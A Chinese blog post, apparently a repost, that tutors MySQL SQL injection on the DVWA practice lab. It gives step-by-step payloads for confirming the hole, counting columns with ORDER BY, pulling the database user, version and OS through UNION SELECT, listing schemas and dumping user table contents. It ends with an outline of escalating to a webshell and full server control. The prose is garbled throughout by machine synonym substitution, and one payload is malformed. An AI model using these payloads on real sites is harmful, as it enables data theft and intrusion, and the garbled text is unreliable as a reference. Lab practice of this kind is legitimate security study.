SQL注入之DVWA渠道测验mysql注入51CTO博客 - 凯发娱乐

SQL注入之DVWA渠道测验mysql注入51CTO博客

2019-03-06 10:20:27 | 作者: 昌燎 | 标签: 测验,注入,数据库 | 浏览: 2990

今日首要针对mysql常用注入句子进行测验。

测验环境与东西:

测验渠道:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-table2虚拟机,里边现已布置好了dvwa.。

***东西:burpsuite-1.4.07下载地址:http://down.51cto.com/data/875103

    首要咱们介绍下DVWA和Burpsuite,DVWA这是一个php+mysql渠道构建的预置web常见缝隙的***操练渠道。能够协助web使用安全研究人员很好了解web缝隙。Burpsuite是一款功能强大的web***测验东西。

    SQL注入缝隙在OWASP TOP 10要挟中,一向排名榜首,安全要挟可见一斑。SQL注入***测验过程中,针对不同的数据库渠道,注入句子挑选也不同,本篇笔者首要测验mysql注入的常用句子以及***思路。

 

登录拜访DVWA,默许用户名:admin暗码:password.

登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较简略测验的缝隙。

1、找到SQl Injection 选项,测验是否存在注入点,这儿用户交互的当地为表单,这也是常见的SQL注入缝隙存在的当地。正常测验,输入1,能够得到如下成果

当将输入变为“'”时,页面提示过错“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,成果如图。看到这个成果,咱们能够欣喜的知道,这个表单存在着注入缝隙。

2、测验遍历数据库表,因为用户输入的值为ID,因而咱们习气判别这儿的注入类型为数字型,因而测验输入:1 or 1=1 ,看能否把数据库表中的内容遍历出来。但是成果如下,并没有显现出一切信息

所以猜想,是否后台使用程序将此值看做了字符型,所以输入:1'or'1'='1,成果,遍历出了数据库中的一切内容,如果是重要数据库表,或许这个信息现已关于***者,有了满足含义:如图

1'or'1'='1

3、测验查询信息列数。使用句子order by num 

这儿咱们输入 " 1'order by 1 -- " 成果页面正常显现,留意-- 后边有空格。持续测验," 1'order by 2 -- "," 1'order by 3 -- ",当输入3是,页面报错。页面过错信息如下,Unknown column '3' in 'order clause',由此咱们判别查询成果值为2列。

1'order by 1 --

1'order by 3 --

Unknown column '3' in 'order clause'

4、经过得到衔接数据库账户信息、数据库称号、数据库版别信息。使用user(),及database(),version()等三个内置函数。

这儿测验注入 “1' and 1=2 union select 1,2 -- ”成果如下

1' and 1=2 union select 1,2 -- 

然后得出First name处显现成果为查询成果榜首列的值,surname处显现成果为查询成果第二列的值,使用内置函数user(),及database(),version()注入得出衔接数据库用户以及数据库称号:

1' and 1=2 union select user(),database()  -- 

衔接数据库的用户为root@localhost,数据库称号为dvwa,进一步使用函数version(),测验得到版别信息,“1' and 1=2 union select version(),database()  -- ”便得到了版别信息,

1' and 1=2 union select version(),database()  -- 

5、取得操作系统信息。

1and 1=2 union select 1,@@global.version_compile_os from mysql.user --

6、测验衔接数据库权限:

 1 and ord(mid(user(),1,1))=114 -- 

7、查询mysql数据库,一切数据库姓名:这儿使用mysql默许的数据库infromation_scehma,该数据库存储了Mysql一切数据库和表的信息。

1 and 1=2 union select 1,schema_name from information_schema.schemata -- 

8、猜解dvwa数据库中的表名。使用1‘ and exists(select * from 表名),此处表名猜解能够经过brupsuit挂字典猜解。这儿测验的成果,表名为users,burpsuite怎么主动注入,在稍后文章进一步介绍。这儿猜解表名,在实在***测验环境中,***者往往关怀存储管理员用户与暗码信息的表。

1' and exists(select * from users) --

 

9、猜解字段名:1' and exists(select 表名 from users) -- ,这儿测验的字段名有first_name,last_name

1 and exists(select first_name from users) -- 
ID: 1 and exists(select last_name from users) -- 

10、爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这儿其实如果是寄存管理员账户的表,那么用户名,暗码信息字段就能够爆出来了。

以上是笔者依据dvwa渠道sql injection缝隙对mysql常用句子所做的测验。这儿咱们能够大致总结***的一般思路:

1、寻觅注入点,能够经过web扫描东西完成

2、经过注入点,测验取得关于衔接数据库用户名、数据库称号、衔接数据库用户权限、操作系统信息、数据库版别等相关信息。

3、猜解要害数据库表及其重要字段与内容(常见如寄存管理员账户的表名、字段名等信息)

4、能够经过取得的用户信息,寻觅后台登录。

5、使用后台或了解的进一步信息,上传webshell或向数据库写入一句话***,以进一步提权,直到拿到服务器权限。

今日笔者只在dvwa渠道现有环境下,简略测验了mysql几个常用注入句子:

1' order by 2 --   /*用来猜解查询信息的列数

1' and 1=2 union select user(),database(),-- 

1' and 1=2 union select user(),version(), -- /*使用user(),database(),version()函数取得数据库信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*取得操作系统信息1' and ord(mid(user(),1,1))=114 --  /*测验衔接数据库用户权限

1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出一切数据库称号1' and exists(select * from users) -- /*猜解表名

1' and exists(select first_name from users) -- /猜解字段名

1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容

 

关于mysql注入测验,就简略介绍到这儿,如有过错,欢迎纠正。关于brupsuite怎么主动注入,将在其他华章介绍。

 

 

 

 

 

  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表凯发娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章